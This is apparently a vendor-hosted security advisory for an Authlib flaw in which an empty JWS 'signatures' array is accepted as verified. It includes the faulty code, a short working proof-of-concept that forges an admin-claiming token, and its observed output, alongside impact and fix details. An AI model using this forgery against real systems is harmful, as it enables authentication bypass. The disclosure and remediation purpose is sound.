Authlib: empty signatures validation in JWS JSON deserialization
CVE-2026-96760 · GHSA-6v38-4h7w-rj9h · published 27 Oct 2026
How serious is it
- Severity: critical, CVSS score 9.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-96760?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
authlib(PyPI) <= 1.8.0
How to check
- Run
pip show authlibin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
authlibto 1.9.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.
## Root cause
`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:
```python
is_valid = True # set before anything is checked
for header_obj in obj["signatures"]: # empty array means the body never runs
jws_header, valid = self._validate_json_jws(...)
if not valid:
is_valid = False
...
if is_valid:
return rv # returns the payload as verified
```
`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON
Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.
## Reproduction
```python
import base64
from authlib.jose import JsonWebSignature
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}
print(jws.deserialize_json(forged, key=None))
```
Observed on authlib 1.8.0, Python 3.14, clean virtualenv:
```
[A] ATTACK general JSON, signatures:[] , key=None
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[B] ATTACK general JSON, signatures:[] , key=<real key>
ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'}
[C] CONTROL+ genuine general JSON with 2 signatures, right key
ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}'
[D] CONTROL- same object, first signature corrupted
rejected (expected): BadSignatureError bad_signature:
[E] CONTROL- signatures array removed entirely (not empty, absent)
rejected: DecodeError Missing "protected" value:
```
[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves
tampering is caught. [E] proves this is specifically the empty-array case and not a general
missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not
save a caller: the empty array is accepted either way.
For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects
the identical object with `BadSignatureError`. The correct behaviour already exists in your newer
library.
## Impact
Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will
accept an attacker-authored payload as signed. Where that payload carries identity or authorisation
claims, this is a complete authentication bypass by an unauthenticated remote caller with no key
material.
## What would fix it
In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag
from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938
proposes the same thing.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h
- nvd.nist.gov/vuln/detail/CVE-2026-96760
- github.com/authlib/authlib/pull/938
- github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733
- github.com/authlib/authlib/releases/tag/v1.9.0
- kb.cert.org/vuls/id/762428
- www.kb.cert.org/vuls/id/762428
- github.com/advisories/GHSA-6v38-4h7w-rj9h
- github.com/authlib/authlib
Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON